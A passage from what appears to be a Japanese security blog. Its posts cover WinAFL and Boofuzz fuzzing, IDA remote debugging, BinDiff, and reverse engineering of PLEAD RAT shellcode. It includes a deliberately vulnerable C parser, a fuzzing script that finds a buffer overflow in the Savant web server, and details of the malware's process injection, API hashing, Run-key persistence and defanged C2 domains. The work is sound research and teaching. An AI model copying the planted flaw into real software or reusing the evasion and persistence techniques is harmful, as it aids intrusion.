[-] PROGRAM ABORT : Test case 'id_000000' results in a timeout
         Location : perform_dry_run(), C:\winafl\afl-fuzz.c:2972

恐らく理由は、WinAFLは.edataセクションのName RVAに記載されたDLL名によってDLLをロードしているためだと予測しています。

ポイント2. fuzz_crash()

Target関数を呼び出すために関数を定義すること

ポイント3. extern __declspec(dllexport)

ポイント2で定義した関数を.edataセクションに格納することでExport関数とすること

ファジング開始

afl-fuzz.exe実行時に-target_method fuzz_crashの様に、Fuzzingループ対象の関数として指定できるようになります。

$ afl-fuzz.exe -i testcases -o results -D c:\dynamorio\build\bin32 -t 10000 -- -coverage_module Crash104.dll -fuzz_iterations 5000 -target_module harness_crash.exe -target_method fuzz_crash -nargs 1 -- .\harness_crash.exe @@

2日ほどFuzzingを走らせた後のcmdプロンプトのStatus画面を以下に示します。 uniq crashes: 79 の部分にて、Crashが発生するinputファイルが79個見つかっていることを示しています。

-oで指定したフォルダであるresults内のcrashesにCrashを発生させるinputファイルが保存されています。

BugIdを使えばCrashの種類を確認することもできます。

WinAFLで始めるGreybox fuzzing

Sat, 11 Apr 2020 15:02:01 GMT

WinAFLとは

WinAFLは、AFL (American Fuzzy Lop)のWindows向けに開発されたFolkであり、Greybox fuzzerの一種です。Greybox fuzzerはCoverage-guided fuzzerとも呼ばれます。WinAFLとDynamoRIO等のDBIを合わせて利用することで、カバレッジを確認しながら新しい実行パスを探索することができます。

WinAFLを使ってみる

以下の手順に沿ってWinAFLをソースからビルドしていきます。ここでは32-bitと64-bitどちらも合わせてビルドします。

1. DynamoRIOをビルド

詳細な手順はDynamoRIOで始めるDBIにて紹介しています。

2. WinAFL (32-bit) をビルド

スタートメニュー > すべてのアプリケーション > Visual Studio 2017 > x86 Native Tools Command Promptを開きます。

x86 Native Tools Command Prompt上で以下のコマンドを実行します。

WinAFL(32-bit)ビルドコマンド

$ cd C:\
$ git clone https://github.com/googleprojectzero/winafl
$ cd winafl && mkdir build32 && cd build32
$ cmake -G"Visual Studio 15 2017" .. -DDynamoRIO_DIR=..\path\to\DynamoRIO\cmake
$ cmake --build . --config Release

32-bit WinAFLのビルドが完了しました。続いて64-bit WinAFLをビルドします。

3. WinAFL (64-bit) のビルド

スタートメニュー > すべてのアプリケーション > Visual Studio 2017 > x64 Native Tools Command Promptを開きます。

x64 Native Tools Command Prompt上で以下のコマンドを実行します。

WinAFL(64-bit)ビルドコマンド

$ cd C:\winafl && mkdir build64 && cd build64
$ cmake -G"Visual Studio 15 2017 Win64" .. -DDynamoRIO_DIR=..\path\to\DynamoRIO\cmake
$ cmake --build . --config Release

64-bit WinAFLのビルドが完了しました。

WinAFLを使ってみる

今回は、テキストファイルを読み取って動作する脆弱なサンプルバイナリをターゲットとします。

1. ターゲットバイナリを用意

gcc　-o txt_parser txt_parser.c -m32で下記ソースコードをコンパイルします。

txt_parser.c

# include <windows.h>
# include <stdio.h>

void parse_text(FILE *input, FILE *output) {
    FILE *stream;
    char *buf;
    char ch;
    int offset = 0;
    int size = 0;
    int counter = 0;

    while((ch = fgetc(input)) != EOF) {
        if (offset == 0) {
            switch (ch) {
            case '1':
                stream = stdout;
                break;
            case '0':
                stream = output;
                break;
            default:
                perror("parse error");
                return;
            }
            ++offset;
            continue;
        }

        if (offset == 1) {
            size = (int) ch - 47;
            buf = malloc(size);
            memset(buf, '\0', size);
            counter = size;
            ++offset;
            continue;
        }

        if (counter > 2) {
            buf[size - counter] = ch;
            --counter;
            ++offset;
        } 
        else {
            buf[size - counter] = ch;
            fprintf(stream, "%s\n", buf);
            size = 0;
            counter = 0;
            offset = 0;
        }
    }
    return;
}

int main(int argc, char *argv[]) {
    FILE *input;
    FILE *output;

    puts("Start");

    input = fopen(argv[1], "r");
    if (input == NULL) {
        perror("Failed to fopen input file\n");
        return -1;
    }
    output = fopen(argv[2], "w");
    if (output == NULL) {
        perror("Failed to fopen output file\n");
        return -1;
    }

    parse_text(input, output);

    fclose(input);
    fclose(output);

    puts("Done");
    return 0;
}

上記ソースコードは下記の動作をします。

1文字目が1の場合はstdout, 0の場合はarg[2]で指定したファイルへ出力
2文字目が出力するテキストのサイズ指定
3文字目から指定サイズ文の文字列を出力
1文字目から再カウント

下記input.txtを引数にtxt_parser input.txt output.txtを実行した場合、標準出力にはabcd、output.txtにはthisisstrとendが出力されます。

input.txt

14abcd09thisisstr03end

2. オプション”-target_offset”の確認

WinAFL実行時のtarget functionのoffsetを確認します。

やり方はたくさんあると思いますが、ここではIDA proで今回のターゲット関数であるmain関数のoffsetを確認します。

main関数が0x401537で始まっているのでBase addressが0x400000、offsetが0x1537であると分かります。

3. WinAFLの実行

afl-fuzz.exeが置いてあるディレクトリと同じディレクトリに以下の2つを配置します。

txt_parser.exe
testcases\input.txt

次に以下のコマンドを実行します。

WinAFL実行

$ cd C:\winafl\build32\bin\Release
$ afl-fuzz.exe -i testcases -o results -D C:\dynamorio\build\bin32 -t 10000+ -- -target_module txt_parser.exe -target_offset 0x1537 -coverage_module txt_parser.exe -nargs 3 -- txt_parser.exe @@ output.txt

※ afl-fuzz.exeと同じディレクトリにターゲットバイナリを置いたのはafl-fuzz.exe実行時に下記のUnable to load client libraryエラーが出てしまうのを防ぐためです。

Fuzzing実行中には以下の画面が表示され、進捗を確認することができます。

exec speedがzzzz…と表示されておりFuzzingの効率は悪い状態ですが、今回は良しとしましょう。

unique crashが4つ見つかっているのでcrashesフォルダを確認すると、crashを引き起こすインプットファイルが保存されています。

これらのファイルを入力することでcrashを簡単に再現させることもできます。

各項目が意味する内容について、AFL User Guideを参考に、上の画面内に赤字で付与した(1)～(6)の順で以下に概要を記載していきます。

WinAFLステータス画面

(1) process timing

Fuzzingを始めてからの経過時間と、最後に新しいpath, crach, hangを発見してからの経過時間が表示されています。

ほとんどのFuzzing jobは数日～数週間かかることが予測されます。

Fuzzingを始めてから数分経過しても新しいpathが見つからない場合には、下記3つの原因が考えられます。

ターゲットバイナリが正しく呼び出されておらず、インプットファイルがパースされていない
デフォルトのメモリ制限(-m)が厳しすぎ、メモリの割り当てに失敗後すぐにプログラムが終了している
インプットファイルが明らかに不正なフォーマットであり、基本的なヘッダチェックの時点で全て失敗している

(2) Overall results

cycles doneは、一連のテストケース群であるサイクルが完了した回数を意味します。

Ctrl+Cでファジングを終了するまでには、最低1サイクルが完了するのを待つことが望ましいです。さらに言えば、新しいpath, crash, hangが見つからなくなるまで継続できるとよいです。

(3) Cycle progress

now processingは、処理中のテストケースIDと進捗を意味します。

(4) Map coverage

map densityは、カバレッジを意味します。左側は現在のテストケースにおけるカバレッジ、右側はテストケース全体のカバレッジを示しています。

count coverageが200以下の場合には以下の3つの可能性が考えられます。

プログラムが極端にシンプル
適切にDBIが機能していない
早期にターゲットの実行が終了してしまう

(5) Stage progress

現在WinAFLが行っている動作をステージという表現で示しています。ステージには以下の9種類が存在します。

ステージ	説明
calibration	Fuzzing実行前に、実行パスを調べて以上を検知したり実行速度ベースラインを確立したりします。新しい発見(?)のたびに短時間で実行されます。
trim L/S	Fuzzing実行前に、同じ実行パスを生成する最も短い状態になるようテストケースが調整される。（LはLength、SはStepover）
bitflip L/S	ビット反転。
arith L/8	加算または減算。
interest L/8	値の上書き。既知のinterestingな値のリストを用います。
extras	辞書からの単語注入。
havoc	上記2～6のテクニックが固定長で積み重ねられた状態。
splice	任意の中間点で2つのキューつなぎ合わせるということを除いてhavocと同じ。
sync	別のFuzzerからテストケースをインポート。-Mまたは-Sオプションで並列Fuzzingを実行するときのみ使われる。

各ステージ間の処理の流れは別の方のブログ記事 American Fuzzy Lop (AFL)の構造に分かりやすくまとめてありました。

exec speedは500 exec/sec以上が理想的です。もし100 exec/sec以下になってしまう場合にはAFLのPerformance Tipsを参考にしてください。

(6) Findings in depth

Favored pathsは、Fuzzerが最も好むパスの数を意味します。

(7) Fuzzing strategy yields

Stage progressで説明したFuzzing戦略毎に発見した実行パスを表示します。

(8) Path geometry

stabilityは、同じインプットに対して毎回同じ振る舞いをした場合に100%となる。

(9) CPU load

論理コアの数と実行可能状態にあるプロセス数との比較で算出される見かけ上のCPU使用率。

DynamoRIOで始めるDBI

Wed, 08 Apr 2020 12:26:17 GMT

DynamoRIOとは

DynamoRIOは、Dynamic Binary Instrumentation (DBI)ツールの1つです。DBIとは実行中のプログラムに対して任意の部分でのコード変換/挿入を行い、バイナリの挙動を分析する為の手法です。 DynamoRIO APIは、バイナリの動的分析をサポートするインターフェースを提供しています。

今回は、WinAFLにてFuzzingを行う際のCoverageを確認するためにDynamoRIOをソースからビルドしていきます。

DynamoRIOビルド手順

DynamoRIOのレポジトリ上にあるHow To Buildに記載された以下のソフトウェアをインストールします。

Visual Studio 2017. Other versions are not officially supported as our automated tests use VS 2017.

CMake. 3.7+ is required. When prompted, we recommend adding it to your PATH.

Git. Any flavor should do, includingGit on Windowsor Cygwin git.

Perl. We recommend eitherStrawberry Perlor Cygwin perl.

(optional) Cygwin. Only needed for building documentation. Select the doxygen package if you do install it. (You can also select Cygwin’s perl and git as alternatives to the links above.)

上記のソフトウェアがインストール出来たら、32-bit DynamoRIOをビルドしていきます。

32-bit DynamoRIO

スタートメニュー > すべてのアプリケーション > Visual Studio 2017 > x86 Native Tools Command Promptを開きます。

x86 Native Tools Command Prompt上で以下のコマンドを実行します。

DynamoRIOビルドコマンド

$ git clone https://github.com/DynamoRIO/dynamorio.git
$ cd dynamorio && mkdir build32 && cd build32
$ cmake -G"Visual Studio 15" ..
$ cmake --build . --config RelWithDebInfo
$ bin32\drrun.exe notepad.exe

最後のコマンド実行によりnotepad.exeが起動すればDynamoRIOが問題なくビルドできていることが分かります。

続いて64-bit DynamoRIOをビルドします。

64-bit DynamoRIO

スタートメニュー > すべてのアプリケーション > Visual Studio 2017 > x64 Native Tools Command Promptを開きます。

x64 Native Tools Command Prompt上で以下のコマンドを実行します。

DynamoRIOビルドコマンド

$ cd C:\dynamorio && mkdir build64 && cd build64
$ cmake -G"Visual Studio 15 Win64" ..
$ cmake --build . --config RelWithDebInfo
$ bin64\drrun.exe notepad.exe

32-bitビルドと同様、最後のコマンド実行によりnotepad.exeが起動すればDynamoRIOが問題なくビルドできていることが分かります。

お試し

DynamoRIOにはAPIを利用するサンプルプログラムが複数用意されています。

ここでは、その一つであるcountcalls.dllを使ってみたいと思います。

countcalls.dllは、対象プログラム内のnear callのdirect callおよびindirect call、そしてreturnの3種類のopcode数をカウントすることができます。

以下のコマンドでnotepad.exeに対してcountcalls.dllを実行します。

notepadにcountcalls.dllを実行

$ cd dynamorio\build
$ bin32\drrun.exe -c api\bin\countcalls.dll -- notepad

上記コマンドを実行すると以下のようなポップアップで結果が得られます。

countcalls.dllのソースコードであるcountcalls.cを見てみると、以下の様にifおよびelse ifの分岐にて対象プログラム内のnear callのdirect callおよびindirect call、そしてreturnの3種類のopcode数をカウントしていることが分かります。

    /* instrument calls and returns -- ignore far calls/rets */
    if (instr_is_call_direct(instr)) {
        insert_counter_update(drcontext, bb, instr,
                              offsetof(per_thread_t, num_direct_calls));
    } else if (instr_is_call_indirect(instr)) {
        insert_counter_update(drcontext, bb, instr,
                              offsetof(per_thread_t, num_indirect_calls));
    } else if (instr_is_return(instr)) {
        insert_counter_update(drcontext, bb, instr, offsetof(per_thread_t, num_returns));
    }

さらにinstr_is_call_direct()をDynamoRIOのAPI documentで調べてみると引数instrのopcodeがOP_callまたはOP_call_farの場合にtrueを返すことが分かります。

このようにサンプルコードで使われているAPIを確認していくことでDynamoRIO APIで出来ることがつかめると思います。

Boofuzzで始めるネットワークプロトコルファジング

Sat, 28 Mar 2020 02:20:10 GMT

環境準備

Windows端末にboofuzzをソースコードからインストールします。手順はboofuzzのドキュメントを参照してください。

ドキュメントには記載されていませんが、Python2.7を使用しないとFuzzing対象プロセスを監視するprocess_monitor.pyが動作しませんので注意が必要です。

Boofuzzは、Fuzzing toolであるSulleyの後継として作られたOSSです。BoofuzzのBooはMonsters incのBooから取っているそうです。

Sulleyはもうメンテナンスされていないので、これからネットワークプロトコルファジングを始める方はBoofuzzを使うのが良いでしょう。

BoofuzzはSulleyよりもネット上に落ちている情報が少ないと感じるかもしれませんが、Sulleyについて書かれた情報はBoofuzzでも活用できるものが多いはずです。

Fuzzing開始

1. Fuzzing対象とするバイナリを用意

今回はWebサーバのSavant 3.0を実例に使用します。

2. process_monitor.pyを実行

python process_monitor.pyを実行するとプロセス監視サーバが26002番ポートで立ち上がります。

3. Boofuzzを実行するPythonスクリプトを用意

以下に今回用意したサンプルスクリプトのソースコードを記載します。

start_commandsとstop_commandsを指定することで、テストケース毎にSavant.exeを実行しなおすようにしています。これをやらない場合、あるテストケースでクラッシュが発生したとしても、そのテストケース単体を入力してもクラッシュが発生しない場合があるので注意が必要です。

procmon=bf.pedrpc.Client(host, 26002)ではprocess_monitor.pyで立ち上げたプロセス監視用サーバを指定しています。

bf.s_initialize()にて、テストケースとするパケットの構造をブロックとして指定します。今回はベーシックなHTTPプロトコルの構造を指定します。

プロトコル構造の指定方法については、以下サンプルスクリプトと読めばだいたい想像がつくかと思います。詳細を知りたい方はBoofuzzのドキュメントを参照してください。

WebサーバへのFuzzingサンプル

import boofuzz as bf
import datetime


def main():
    port = 80
    host = 'localhost'
    protocol = 'tcp'

    start_commands = ['C:\\Savant\\Savant.exe']
    stop_commands = ['wmic process where (name="Savant.exe") delete']

    now = datetime.datetime.now()
    csv_log_name = now.strftime('%Y%m%d_%H%M%S') + '_fuzzing.csv'
    csv_log = open(csv_log_name, 'w')
    my_logger = [bf.FuzzLoggerCsv(file_handle=csv_log)]

    target = bf.Target(
        connection=bf.SocketConnection(host, port, proto=protocol),
        procmon=bf.pedrpc.Client(host, 26002),
        procmon_options={
            'start_commands': start_commands,
            'stop_commands': stop_commands,
        }
    )

    session = bf.Session(
            target=target,
            fuzz_loggers=my_logger,
    )

    bf.s_initialize(name='Request')
    bf.s_group(
        'Method',
        [
            'GET',
            'HEAD',
            'POST',
            'PUT',
            'DELETE',
            'CONNECT',
            'OPTIONS',
            'TRACE',
        ]
    )
    bf.s_delim(' ', name='space-1')
    bf.s_string('/index.html', name='Request-URI')
    bf.s_delim(' ', name='space-2')
    bf.s_string('HTTP/1.1', name='HTTP-Version')
    bf.s_static('\r\n', name='Request-Line-CRLF')
    bf.s_string('Host:', name='Host-Line')
    bf.s_delim(' ', name='space-3')
    bf.s_string('example.com', name='Host-Line-Value')
    bf.s_static('\r\n', name='Host-Line-CRLF')
    bf.s_static('\r\n', 'Request-CRLF')

    session.connect(bf.s_get('Request'))
    session.fuzz()


if __name__ == '__main__':
    main()

4. 作成したPythonスクリプトからBoofuzzを実行

http://localhost:26000へアクセスするとプロセス監視サーバのGUIにて、発生したクラッシュの情報を確認することが出来ます。

赤の下線で示した部分を見ると、今回は00409167と0040a2e5の2か所でmemory access violationが発生していることが分かります。

画面左の506と書かれた数字をクリックすると460番のテストケースに関する詳細情報を見ることが出来ます。

入力パケットが ’\’ を大量に繰り返していることが分かります。

シンプルなPythonスクリプトでテストケースをパケットとして送信してみると実際にSavant 3.0がクラッシュすることを確認できます。

そのときのPCAPをWiresharkで確認してみるとこんな感じです。

余談ですが、RawCapを使えばWindowsでlocalhost宛のループバック通信をキャプチャすることが可能です。

5. クラッシュした原因をリバースエンジニアリングで調査

0040a2e5でmemory access violationが発生していましたが、そこからIDA Pro等の逆アセンブラ/デバッガにて実行パスを逆に遡っていくと、char FileName\[260]としてHTTPのRequest URIを保存していることが分かります。

※ 皆さんのFuzzing環境とデバッガのある環境が別の端末の場合には、リモートデバッグが便利です。やり方はIDA Proによるリモートデバッグに記載しています。

ここから順に実行パスをたどると、Request URIの末尾が ’\’ である場合に、GetFileAttributesA(Filename);をCallしています。(デコンパイラ上ではエスケープされて’\‘と表示)

GetFileAttributesA(Filename);が失敗した場合には、Fuzzingにてクラッシュが発生した関数をCallすること流れとなっています。

以上より、テストケース506ではRequest URIが260バイト以上のサイズを超える ’\’ で埋められているためにバッファオーバフロー(BOF)が発生したことで、0040a2e5にてmemory access violationが発生したと判明します。

Boofuzzを使ってBOFの脆弱性を見つけることができました。

IDA Proによるリモートデバッグ

Thu, 26 Mar 2020 06:31:59 GMT

説明で利用する環境

以下の2つのVMを利用しました。

デバッガ端末: Windows10 + IDA Pro 7.3
リモート端末: Windows10 + デバッグ対象バイナリ(x86)

今回はどちらも64bitのWindows10なのですが、リモート端末にはFuzzing環境を整えてあり、Fuzzingでクラッシュしたバイナリをリモートデバッグしてバイナリの脆弱性を発見しようというのがリモートデバッグを行う理由です。

リモートデバッグ手順

以下の手順にてリモートデバッグを行うことが出来ます。

デバッガ端末のIDA Proがインストールされているディレクトリ内のdbgsrc\win32_remote.exeをリモート端末へコピーします。

※標準のインストールパスの場合、C:\Program Files\IDA Pro 7.3\dbgsrv\win32_remote.exeです。

※リモートデバッグ先のバイナリが64bit Mach-Oであればwin32_remote.exeではなくmac_server64.exeをコピーします。

リモート端末でwin32_remote.exe(※)を実行します。

※ x86が対象でない場合は、対象のアーキテクチャに読み替えてください

デバッガ端末でIDA Proを起動し、Debugger > Run > Remote Windows debugger(※)を選択します。

※ x86が対象でない場合は、対象のアーキテクチャのRemote debuggerに読み替えてください

リモート端末およびリモート端末上のデバッグ対象バイナリの情報を入力しOKします。

項目	入力値
Application	デバッグ対象バイナリのパス
Directory	デバッグ対象バイナリのディレクトリのパス
Parameter	デバッグ対象バイナリの引数
Hostname	デバッグ端末のIPアドレス
Password	win32_remote.exe実行時に引数としてパスワードを設定していなければ不要

Program Filesにidbファイルを作成しようとしてPermission deniedのWarningが出た場合にはOKを押してidbファイル保存場所を指定してください。

リモートデバッグを開始できます。

Shellcode解析_DLL明示的リンク

Thu, 12 Mar 2020 14:46:15 GMT

EXEファイルのマルウェアがDLLファイルのドロップ
EXEファイルのマルウェアと正常プロセスへの悪性コードのインジェクションを実施
インジェクションされた悪性コードが、ドロップされたDLLのエクスポート関数をインポートし実行

今回の時にでは、上記3番の動作について記載していきます。

なお、下記の順番で記事を読むことで、マルウェア解析の流れに沿ってマルウェア解析の一連の流れを確認することが出来ます。

Persistenceの確認

マルウェアが、自身が初めて実行されておりPersistence獲得のための処理を実行する必要があるのか、それともPersistence獲得の処理は飛ばして次の処理に移るべきなのかを確認するための処理が入っています。

lstrcmpiA();で比較する二つの文字列は一致しておらず、jz short loc_50B0152でのジャンプは発生しません。その文字列とは、以下の2つです。 1つは、Documents直下のTMP.exeであり、もう1つはこのシェルコードをInjectionした元のマルウェアの絶対パスです。

1回目のSetFileAttributesA();はDocuments直下のTMP.exeに対してFileAttributeを設定しようとして0を返しました。呼び出しが失敗したということです。

呼び出し失敗の理由を確認するためにIDAPythonでGetLastError();を呼び出すとERROR_FILE_NOT_FOUND(2)であったため指定したファイルが存在しないことが失敗の理由だったと分かります。

IDAPythonでGetLastError();を呼び出す方法については、IDA ProでWin32API実行失敗時のエラーを取得するに説明があります。

2回目のSetFileAttributesA();はこのシェルコードをInjectionした元のマルウェアに対してFileAttributeを設定して成功しています。

CopyFileA()で元のマルウェアをC:\Users[username]\TMP.exeとしてコピー

自身の削除

利用済みであるマルウェア自身を削除します。MITRE ATT&CKのT1107では、痕跡となるファイルを削除するという検知回避テクニックとして定義されています。

元のマルウェアをDeleteFileA();で削除

Persistenceの獲得

下記の流れでRegistryを利用してPersistenceを獲得します。

RegOpenKeyExA();でHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runのハンドルを取得
RegOpenKeyExA();でHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runに、サブキー名MSUDPQPとしてデータC:\Users[username]\Documents\TMP.exeを書き込む

DLLの明示的リンク

以下の流れで悪性DLLファイルのエクスポート関数をインポートします。

LoadLibraryA();で元のマルウェアがTempフォルダにドロップした悪性DLLファイル(※)を読み込みます。

※ SHA256: d837830ed88424304686e510fd6bdac7526db863aad6efb0cd53c0670dc1b1d3

明示的リンク LoadLibraryA()の呼び出しによるDLLのリンク(明示的リンク)に際しては、LoadLibraryA()呼び出し時に呼び出し先のDLLMain()が実行される。

その後、リンクしたDLLが呼び出し元プロセスのメモリにマップされている間に呼び出し元プロセスが新規スレッドを作成 / 終了した際には、リンクしたDLLに対してDLL_THREAD_ATTACH / DLL_THREAD_DETACHの通知が行われる。

GetProcAddress()にて悪性DLLファイルから”abc”をインポートします。

以下2つの文字列ポインタを引数にabc()の呼び出します。

“movieonline.redirectme[.]net:8080,443,1863;beersale[.]servebeer[.]com:1863,443,8080”
“h112”

以降、悪性DLLのエクスポート関数abc()上で、マルウェアの不正な振る舞いが続きます。

ROL5 hash

Shellcodeの解析 ROR13編で紹介したROR13というインポート関数を隠すテクニックがありました。それはハッシュ化された関数名からインポート関数のスタートアドレスをスタックに積んで呼び出すというものでした。

ここでは、同じテクニックを13bit右にローテートするROR13ではなく、5bit左にローテートするROL5が使われていました。以下の表にROL5ハッシュを抜粋します。

ROL5	関数名
10B3A830	RtlAllocateHeap
51CC8EDD	RtlFreeHeap
325E49	atoi

今回もROL5ハッシュ計算コードを置いておきますので、これが理解の助けになるかと思います。

ROL5ハッシュ計算

#include <stdio.h>

typedef unsigned int DWORD;

int rol5_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash << 5 )|(hash >> 27);
        hash += val;
    }
    printf("hash: %x", hash);
    return hash;
}

int main() {
    printf("%x", rol5_hash("atoi"));
    return 0;
}

Shellcodeの解析_ROR13

Tue, 10 Mar 2020 23:10:40 GMT

今回はシェルコードの解析を進めていきます。

この記事の手法を使うとROR13で難読化されたインポート関数を特定することができるようになります。

解析するバイナリは前の記事「Process Injectionを解析する」でiexplore.exeにInjectionされたコードです。そちらもぜひ読んでみてください。

iexplore.exeにInjectionされたシェルコードの動作

1. Kernel32.dllのベースアドレス取得

まず、シェルコードの\x00から始まるアドレスを6つpushする動きをします。これは目的の値を6つ分スタックに配置するための処理です。

※ loop は、ecxが0になるまでjmpを繰り返す。

シェルコード上でWin32APIを呼び出すための前処理を行います。

loc_50B007Dではfs:30hのProcess Environment Block (PEB)からkernell32.dllのベースイメージ (先頭アドレス)をebxに取得する動作を行っています。

callの引数はさきほどの6つのアドレスになっています。

2. LoadLibraryA()のスタートアドレス取得

先ほどのcallでスタックに積んだReturn-eipをすぐさまpop esiで取り出します。つまりesiには050B0095の直後のアドレスが入ります。

kernel32.dllのベースアドレスが入ったebxと、Return-eipの入ったesiの指す値を引数に関数を呼び出します。ここではその関数をaa_ror13と名付けているのでaa_ror13(ebx, [esi])という状態で、引数[esi]には4B1E5ADBhが入っています。これはROR13ハッシュです。

aa_ror13(ebx, [esi])は始めにlstrcmpiA()のスタートアドレスを戻り値eaxに返します。このようにROR13ハッシュ[esi]を+4ずつ進めaa_ror13(ebx, [esi])を繰り返し呼び出すことよって、[esi]が0になるまでROR13ハッシュに対応するkernel32.dll内の関数のスタートアドレスeaxをpushしてスタックに積むことを繰り返します。

以下は、インポート関数を積まれたスタックの様子です。最後に取得したインポート関数のスタートアドレスはLoadLibraryA();のものです。

ここで、aa_ror13();の引数[esi]はReturn-eipだったことを思い出してください。callの直後のアドレスであるReturn-eipには以下の様にfistp dword ptr [edx+1Eh]などが続いていました。しかし、

callの後ろからドラッグして右クリックでUndefinedし、dキーで4バイトのdd表示にすると、実は、Return-eip以降**+4**ごとにROR13ハッシュが隠されていました。

ちなみに、C言語でROR13ハッシュの計算を行う処理を載せておくので理解の足しにどうぞ。

ROR13ハッシュ計算

#include <stdio.h>

typedef unsigned int DWORD;

int ror13_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash >> 13)|(hash << 19);
        hash += val;
    }
    return hash;
}

int main(void)
{
    printf("%x", ror13_hash("LoadLibraryA"));
    return 0;
}

3. LoadLibraryA()で関数をインポート

2. LoadLibraryA()のスタートアドレス取得で050B00D4にあるcallを実行するところに話を戻します。同じ画像を再掲しておきます。

call near ptr loc_50B00E1+1となっていた箇所が実行に伴いcall loc_50B00E2に変わっています。単純に足し算しただけですが、+1で1バイト分呼び出し先をずらすことでデバッガに間違ってアセンブラを表示させることができる難読化テクニックです。

呼び出し先を見ていくと、call eaxつまり、aa_ror13()の最後の戻り値であるLoadLibraryA();を呼び出しています。

LoadLibraryA();の引数は、直前のcall loc_50B00E2でスタックに積まれたReturn-eipなので、そのアドレスの表示を文字列へ変換すると、advapi32であることが分かります。

ここからはadvapi32.dll内からROR13ハッシュでインポート関数のスタートアドレスを取得し、スタックに積んでいきます。マルウェアがレジストリを操作しようとしているということが分かってきますね。

画像一番下のcall dword ptr [ebp-20h]は実際にROR13で取得した関数を呼び出しているところです。

最後に

呼び出す関数名をROR13によって隠しているシェルコードの解析手順を紹介しました。今回登場したROR13と関数名の対応表を以下に記載しておきます。

ROR13ハッシュ

今回の記事に登場したROR13ハッシュと関数名の対応表です。

ROR13	関数
4B1E5ADB	lstrcmpiA
4DC9D5A0	FreeLibrary
7C0DFCAA	GetProcAddress
73E2D87E	ExitProcess
99EC895E	CopyFileA
C2FFB025	DeleteFileA
56F7396A	SetFileAttributesA
DD434738	lstrlen
EC0E4E8E	LoadLibraryA
2D1C9ADD	RegSetValueExA
A84AEB81	RegOpenKeyExA
2D1C9ADD	RegSetValueExA
B4CEEAB6	RegDeleteValueA
2D1C9ADD	RegCloseKey

Process Injectionを解析する

Mon, 09 Mar 2020 00:00:58 GMT

今回の解析対象について

通称PLEADと呼ばれるマルウェアを対象とします。

RAT (Remote Access Trojan)
TrendMicroのレポート上ではBKDR_PLEAD.ZTDK-Bと表記
SHA256: c303bab9e2655739ee85adf92cc9e9c9b1e4371dddeb9270cbbb81f34f4f96b9

JPCERTのブログにも解析記事があります。

https://blogs.jpcert.or.jp/ja/2018/05/linopid.html

対象検体によるProcess Injectionの流れ

以下の流れで解析を行っていきます。

CreateProcessA();で64bitのiexplore.exeを起動
VirtualAllocEx();でiexplore.exe内にShellcodeのメモリを確保
WriteProcessMemory();でVirtualAllocExで確保したメモリにShellcodeを書き込み
CreateRemoteThread();でShellcodeを新しいThreadとしてiexplore.exeに実行させる

余談:Process InjectionとProcess Hollowingの違い

ATT&Kの情報を読んでもほとんど同じことを行っているように思えるのですが、どうやらProcess Hollowingの場合にはターゲットプロセスのメモリをアンマップした領域に悪性のコードを書き込むことを指しているようです。

https://attack.mitre.org/techniques/enterprise/ 参照

解析方法（Code injection動作の解析）

ここでは、Process Injection部分の解析の流れを上で紹介した検体をもとに説明します。

まずマルウェアがCreateProcessA();で自分の子プロセスを新しく作成します。

引数lpCommandLineとしてebxの値が使われているため、このebxの指すアドレスに実行されるプロセスが書かれています。

ebxを見てみると32bitのiexplore.exeを実行しようとしていることが分かります。

（実は今回の解析時にこのiexplore.exeのパスの”Program Files”を”Program Files (x86)“に手動で書き換えてしまいました。理由は、32bit(WOW64)から64bitプロセスに対してCreateRemoteThread();を実行するとERROR_ACCESS_DENIED(5)で失敗するからです。この詳細はまた別の記事にて紹介します。）

CreateProcessA();は引数として渡したlpProcessInformationのメンバからhProcessを取り出し、iexplore.exeに対してVirtualAllocEx();を呼び出します。

これは不正なコードをInjectionするメモリ領域を確保する為です。

VirtualAlloc();で確保したメモリにWriteProcessMemoryA();にて不正なコードを書き込み(Injection)します。

CreateRemoteThread();にて、不正なコードをInjectionしたメモリのアドレスをlpStartAddressに入れてiexplore.exeのスレッドとして実行します。

ここまでで、Process Injectionの流れは終了です。この後、iexplore.exeが不正な挙動を実行していくこととなります。

解析方法（Code injectionされたプロセスの解析）

今回の例では、Code injectionされたiexplore.exeの解析を進める方法を示します。

上述のCreateRemoteThread();実行の直前から開始します。デバッガを新しく開き、CreateProcessA();で作られたiexplore.exeのプロセスにAttachします。私の場合は今まで通りIDA Proで行います。

Shift+F7でSegmentsを開き、不正コードがInjectionされたセグメント（実行フラグXが付いているはずです）を右クリックしBreak on accessを選択します。そうすると、選択セグメント全体にハードウェアブレイクポイントが張られます。

ハードウェアブレイクポイントが張られていることを確認し、F9でContinueしておきます。

ここで初めて、Code injectionする側のCreateRemoteThread();をステップ実行します。

すると、iexplore.exeがブレイクポイントで止まっているので動的解析を始めることが出来ます。

バイナリファイルの差分を比較するツールが便利

Sun, 08 Mar 2020 02:14:18 GMT

今回は、BinDiffというツールを使ってバイナリファイルの差分比較を行ってみました。

バイナリの比較が役に立つ場面として想定される2つを以下に記載します。

セキュリティアップデート前後のバイナリを比較することで、Exploitを防ぐための改修部分から脆弱性を突くExploit作成に必要な情報が得られる。
解析済みのマルウェアとその亜種とを比較し、共通の機能(関数)を洗い出す。

準備

BinDiffが比較対象とするのはバイナリ解析ツールでおなじみのIDA proでバイナリから作成した.idbファイルです。 IDA proを持っていない人はFreeware版をここからダウンロードすることが出来ます。

BinDiffは以下のサイトからダウンロードできます。

https://www.zynamics.com/software.html

ダウンロードしたインストーラを実行するとことでデフォルトではC:\Program files\BinDiffが作成されます。なおインストール時にはIDA proのインストールパスを指定する必要があります。 .jarファイルを実行することでGUIアプリケーションを起動することができます。

利用開始

今回の比較に用いたバイナリは、Open sourceのRATであるLilith検体２つです。

攻撃者グループTickが使用したとされるバイナリ

SHA2: 5e4a190f8f4fc8800cf348cdc0e1ddc674215b02d1ef9b9a9e12605a3e0315cf

ソースコードからコンパイルしたバイナリ

上記バイナリからIDA proで.idbファイルを作成し、比較を行います。

同じソースコードからコンパイルしているはずなのに、なんと、Simirality(類似度)は0.06でした。

Mached function画面には同一と推測される関数が表示されます。

ためしにConfidenceが0.91の関数を選んでみると、関数内部のCall treeの構造が同一であることが確認できた。

ピンチアウトして拡大してみるとアセンブリの中身まで確認できます。

